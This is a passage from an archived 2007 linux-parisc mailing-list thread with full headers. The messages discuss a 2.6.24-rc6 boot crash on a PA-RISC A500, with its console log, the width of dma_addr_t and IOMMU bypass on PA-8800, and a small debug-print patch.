	id S1750940AbXLVEDB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Dec 2007 23:03:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751229AbXLVEDB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Dec 2007 23:03:01 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4184 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750940AbXLVEDA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Dec 2007 23:03:00 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBM42cCK022863;
	Fri, 21 Dec 2007 23:02:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBM42boT022861;
	Fri, 21 Dec 2007 23:02:37 -0500 (EST)
In-Reply-To: <20071218052112.GB16467@fattire.cabal.ca> from "Kyle McMartin" at Dec 18, 2007 00:21:12 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:35
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/35>

> On Mon, Dec 17, 2007 at 11:20:15PM -0500, John David Anglin wrote:
> > > you need -rc5, iirc i put some changes i nthere too.

Tried -rc6.  It also crashed on boot.  Console log is below.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006

Partition Start(MB) End(MB) Id Type
1               1     191   f0 Palo
2             192    1526   82 swap
3            1527   34732   83 ext2

PALO(F0) partition contains:
PALO is formatted EXT2/3
Command line for kernel: ' root=/dev/sda3 console=ttyS0 palo_kernel=1/vmlinux'
Selected kernel: /vmlinux from partition 1
Selected ramdisk: /initrd.img from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 5013504 mediaptr 0x1000
Segment 1 load 00608000 size 566144 mediaptr 0x4c9000
Loading ramdisk 3388537 bytes @ 3fcb3000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.24-rc6 (dave@gsyprf11) (gcc version 4.2.3 20071123 (prerelease) (Debian 4.2.2-4)) #1 SMP Fri Dec 21 19:07:38 PST 2007
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e30 00000491 00000000 00000001 312b7146 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-7X
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
 1) Start 0x0000000100000000 End 0x00000001ffffffff Size   4096 MB
 2) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
Total Memory: 8192 MB
initrd: 7fcb3000-7ffee479
initrd: reserving 3fcb3000-3ffee479 (mem_max 200000000)
SMP: bootstrap CPU ID is 0
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2068480
Kernel command line:  root=/dev/sda3 console=ttyS0 palo_kernel=1/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 8234192k/8388608k available (3309k kernel code, 152804k reserved, 1538k data, 188k init)
virtual kernel memory layout:
  vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
  memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
  .init : 0x0000000040664000 - 0x0000000040693000   ( 188 kB)
  .data : 0x000000004043b568 - 0x00000000405bc000   (1538 kB)
  .text : 0x0000000040100000 - 0x000000004043b568   (3309 kB)
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 120 bytes
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 750 W2 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5e3, 0x00004 }
2. Crescendo 750 W2 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5e3, 0x00004 }
3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         FLASH     ON         ON
LED State: System Running.  Unexpected Reboot.  Non-critical Error Detected.
Check Chassis and Console Logs for error messages.

processor                 system panic               1B00

***** EARLY BOOT VFP : SYSTEM ALERT *****
SYSTEM NAME: gsyprf11c
DATE: 12/22/2007 TIME: 03:45:54
ALERT LEVEL: 12 = Software failure

REASON FOR ALERT
SOURCE: 1 = processor
SOURCE DETAIL: 1 = processor general   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         FLASH     ON         ON
LED State: System Running.  Unexpected Reboot.  Non-critical Error Detected.
Check Chassis and Console Logs for error messages.

0xA0E000C01100B009 00000000 00000520 - type 20 = major change in system state
0x58E008C01100B009 00006B0B 16032D36 - type 11 = Timestamp 12/22/2007 03:45:54
A/a: ack read of this entry - Q/q: quit Virtual Front Panel Display
Anything else redisplay the log entry
->Choice:Timeout!
*****************************************

***** EARLY BOOT VFP : SYSTEM ALERT *****
SYSTEM NAME: gsyprf11c
DATE: 12/22/2007 TIME: 03:45:55
ALERT LEVEL: 12 = Software failure

REASON FOR ALERT
SOURCE: 1 = processor
SOURCE DETAIL: 1 = processor general   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         FLASH     ON         ON
							 LED State: System Running.  Unexpected Reboot.  Non-critical Error Detected.
Check Chassis and Console Logs for error messages.

0xA0E000C01100B009 00000000 00000520 - type 20 = major change in system state
0x58E008C01100B009 00006B0B 16032D37 - type 11 = Timestamp 12/22/2007 03:45:55
A/a: ack read of this entry - Q/q: quit Virtual Front Panel Display
Anything else redisplay the log entry

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Sat, 22 Dec 2007 02:49:21 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20071222074921.GA12863@fattire.cabal.ca>
References: <20071218052112.GB16467@fattire.cabal.ca> <200712220402.lBM42boT022861@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1198309772 11570 80.91.229.12 (22 Dec 2007 07:49:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Dec 2007 07:49:32 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 22 08:49:45 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J5z7A-0001Li-Vy
	for glpp-linux-parisc@gmane.org; Sat, 22 Dec 2007 08:49:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751416AbXLVHtX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Dec 2007 02:49:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751430AbXLVHtX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Dec 2007 02:49:23 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:49792 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751416AbXLVHtW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Dec 2007 02:49:22 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id ABC4923E08; Sat, 22 Dec 2007 02:49:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712220402.lBM42boT022861@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:36
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/36>

On Fri, Dec 21, 2007 at 11:02:36PM -0500, John David Anglin wrote:
> > On Mon, Dec 17, 2007 at 11:20:15PM -0500, John David Anglin wrote:
> > > > you need -rc5, iirc i put some changes i nthere too.
> 
> Tried -rc6.  It also crashed on boot.  Console log is below.
> 

i'm confused... my pa8800 box boots fine. i'll poke around a bit later
today.

regards,
	kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: dma_addr_t: which comment is correct?
Date: Sat, 22 Dec 2007 12:15:31 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <476CFFE3.3040102@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198326402 15197 80.91.229.12 (22 Dec 2007 12:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Dec 2007 12:26:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 22 13:26:55 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J63RM-0005mV-3i
	for glpp-linux-parisc@gmane.org; Sat, 22 Dec 2007 13:26:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750903AbXLVM03 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Dec 2007 07:26:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751227AbXLVM03
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Dec 2007 07:26:29 -0500
Original-Received: from oola.is.scarlet.be ([193.74.71.23]:35338 "EHLO
	oola.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750903AbXLVM03 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Dec 2007 07:26:29 -0500
X-Greylist: delayed 648 seconds by postgrey-1.27 at vger.kernel.org; Sat, 22 Dec 2007 07:26:28 EST
Original-Received: from (ip-213-49-69-123.dsl.scarlet.be [213.49.69.123]) 
	by oola.is.scarlet.be  with ESMTP id lBMCFbo23177; 
	Sat, 22 Dec 2007 13:15:37 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
X-DCC-scarlet.be-Metrics: oola 20001; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:37
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/37>

Hello *,

Continuing my blind investigation on ccio-dma stuff, I read those 2 different comments:
in include/asm-parisc/scatterlist.h, scartterlist structure is defined like this:
struct scatterlist {
#ifdef CONFIG_DEBUG_SG
         unsigned long sg_magic;
#endif
         unsigned long page_link;
         unsigned int offset;

         unsigned int length;

         /* an IOVA can be 64-bits on some PA-Risc platforms. */
         dma_addr_t iova;        /* I/O Virtual Address */
         __u32      iova_length; /* bytes mapped */
};

in absolute the comment "an IOVA can be 64-bits on some PA-Risc platforms." seems ok.

but otoh, include/asm-parisc/types.h, defined dma_addr_t like this:

/* Dma addresses are 32-bits wide.  */

typedef u32 dma_addr_t;
typedef u64 dma64_addr_t;

#endif /* __ASSEMBLY__ */

OK it's just a comment but imho there is interesting matter in x86:

typedef u64 dma64_addr_t;
#if defined(CONFIG_X86_64) || defined(CONFIG_HIGHMEM64G)
/* DMA addresses come in 32-bit and 64-bit flavours. */
typedef u64 dma_addr_t;
#else
typedef u32 dma_addr_t;
#endif

But I simply have no idea which "#if defined" would be the most relevant for parisc, any idea?

Cheers,
	r.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: iommu-helpers.h patch
Date: Sat, 22 Dec 2007 13:45:45 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <476D1509.1070601@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198331171 26849 80.91.229.12 (22 Dec 2007 13:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Dec 2007 13:46:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 22 14:46:19 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J64gE-0002Gy-RX
	for glpp-linux-parisc@gmane.org; Sat, 22 Dec 2007 14:46:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750860AbXLVNp6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Dec 2007 08:45:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752098AbXLVNp6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Dec 2007 08:45:58 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:34372 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751579AbXLVNp5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Dec 2007 08:45:57 -0500
Original-Received: from (ip-213-49-69-123.dsl.scarlet.be [213.49.69.123])
        by guri.is.scarlet.be  with ESMTP id lBMDjt008926;
        Sat, 22 Dec 2007 14:45:55 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
X-DCC-scarlet.be-Metrics: guri 20001; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:38
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/38>

Hello *,

This seems to be missed a while ago ;-)

--- drivers-parisc-iommu-helpers.h-git20071218	2007-12-21 19:02:38.000000000 +0000
+++ drivers-parisc-iommu-helpers.h-git20071218.new	2007-12-22 13:39:04.000000000 +0000
@@ -29,7 +29,7 @@
  		long size;

  		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
-			   (unsigned long)sg_dma_address(startsg), cnt,
+			   (unsigned long)sg_dma_address(startsg), size,
  			   sg_virt_addr(startsg), startsg->length
  		);
=== <> ===

Cheers,
	r.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Sat, 22 Dec 2007 10:11:01 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200712221511.lBMFB2LB010740@hiauly1.hia.nrc.ca>
References: <20071222074921.GA12863@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198336294 7548 80.91.229.12 (22 Dec 2007 15:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Dec 2007 15:11:34 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 22 16:11:45 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J660u-0001EB-Co
	for glpp-linux-parisc@gmane.org; Sat, 22 Dec 2007 16:11:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751326AbXLVPLX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Dec 2007 10:11:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752071AbXLVPLX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Dec 2007 10:11:23 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4198 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751326AbXLVPLX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Dec 2007 10:11:23 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBMFB3aP010742;
	Sat, 22 Dec 2007 10:11:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBMFB2LB010740;
	Sat, 22 Dec 2007 10:11:02 -0500 (EST)
In-Reply-To: <20071222074921.GA12863@fattire.cabal.ca> from "Kyle McMartin" at Dec 22, 2007 02:49:21 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:39
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/39>

> i'm confused... my pa8800 box boots fine. i'll poke around a bit later
> today.

I think gsyprf11 is a pa8700, 750 MHz.  It boots fine with 2.6.22.x
plus your getdents compat patch.  The config and kernel are in /boot.

My pa8800 boots with 2.6.24*.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dma_addr_t: which comment is correct?
Date: Sun, 23 Dec 2007 02:39:03 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20071223093903.GA30259@colo.lackof.org>
References: <476CFFE3.3040102@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1198402773 21732 80.91.229.12 (23 Dec 2007 09:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Dec 2007 09:39:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 23 10:39:46 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J6NJ9-00069r-KS
	for glpp-linux-parisc@gmane.org; Sun, 23 Dec 2007 10:39:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751007AbXLWJjW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Dec 2007 04:39:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752374AbXLWJjW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Dec 2007 04:39:22 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56674 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751007AbXLWJjU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Dec 2007 04:39:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E5ADA33826B;
	Sun, 23 Dec 2007 02:39:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31318-05; Sun, 23 Dec 2007 02:39:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 689D133826A; Sun, 23 Dec 2007 02:39:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <476CFFE3.3040102@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:40
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/40>

On Sat, Dec 22, 2007 at 12:15:31PM +0000, rubisher wrote:
> Hello *,
>
> Continuing my blind investigation on ccio-dma stuff, I read those 2 
> different comments:
> in include/asm-parisc/scatterlist.h, scartterlist structure is defined like 
> this:
> struct scatterlist {
> #ifdef CONFIG_DEBUG_SG
>         unsigned long sg_magic;
> #endif
>         unsigned long page_link;
>         unsigned int offset;
>
>         unsigned int length;
>
>         /* an IOVA can be 64-bits on some PA-Risc platforms. */
>         dma_addr_t iova;        /* I/O Virtual Address */
>         __u32      iova_length; /* bytes mapped */
> };
>
> in absolute the comment "an IOVA can be 64-bits on some PA-Risc platforms." 
> seems ok.

Yes, it's correct. pa8800 allows 64-bit capabale devices to bypass the IOMMU.
But I don't think we allow it yet since we would need to add code that stuffs
the Virtual Index (for DMA to be cache coherent) into the high bits of the IOVA.


> but otoh, include/asm-parisc/types.h, defined dma_addr_t like this:
>
> /* Dma addresses are 32-bits wide.  */
>
> typedef u32 dma_addr_t;
> typedef u64 dma64_addr_t;
>
> #endif /* __ASSEMBLY__ */

Yes, this matches the current implementation.
Adding support for "bypass" on zx1 chipsets (pa8800/pa8900 CPUs) will
require something more clever.

> OK it's just a comment but imho there is interesting matter in x86:
>
> typedef u64 dma64_addr_t;
> #if defined(CONFIG_X86_64) || defined(CONFIG_HIGHMEM64G)
> /* DMA addresses come in 32-bit and 64-bit flavours. */
> typedef u64 dma_addr_t;
> #else
> typedef u32 dma_addr_t;
> #endif
>
> But I simply have no idea which "#if defined" would be the most relevant 
> for parisc, any idea?

u32 is correct now. u64 could be used for 64-bit builds when someone decides
we should bypass the IOMMU to improve DMA mapping/unmapping performance.

3-4 years ago I saw about 3% better performance for Storage Devices
_with_ the IOMMU enabled. IIRC, it was because of coalescing the longer
SG lists into a single IOMMU entry was more efficient for the PCI device.
Smaller, non-contiguous IOs would benefit from IOMMU bypass - e.g. NIC
workloads.

hth,
grant

>
> Cheers,
> 	r.
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dma_addr_t: which comment is correct?
Date: Sun, 23 Dec 2007 22:50:34 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <476EE63A.9080807@scarlet.be>
References: <476CFFE3.3040102@scarlet.be> <20071223093903.GA30259@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198450257 22649 80.91.229.12 (23 Dec 2007 22:50:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Dec 2007 22:50:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 23 23:51:10 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J6Zf1-0005is-Na
	for glpp-linux-parisc@gmane.org; Sun, 23 Dec 2007 23:51:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751302AbXLWWuq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Dec 2007 17:50:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750969AbXLWWuq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Dec 2007 17:50:46 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:60343 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751302AbXLWWup (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Dec 2007 17:50:45 -0500
Original-Received: from (ip-213-49-72-91.dsl.scarlet.be [213.49.72.91])
        by guri.is.scarlet.be  with ESMTP id lBNMoe008612;
        Sun, 23 Dec 2007 23:50:41 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071223093903.GA30259@colo.lackof.org>
X-DCC-scarlet.be-Metrics: guri 20001; Body=3 Fuz1=3 Fuz2=3
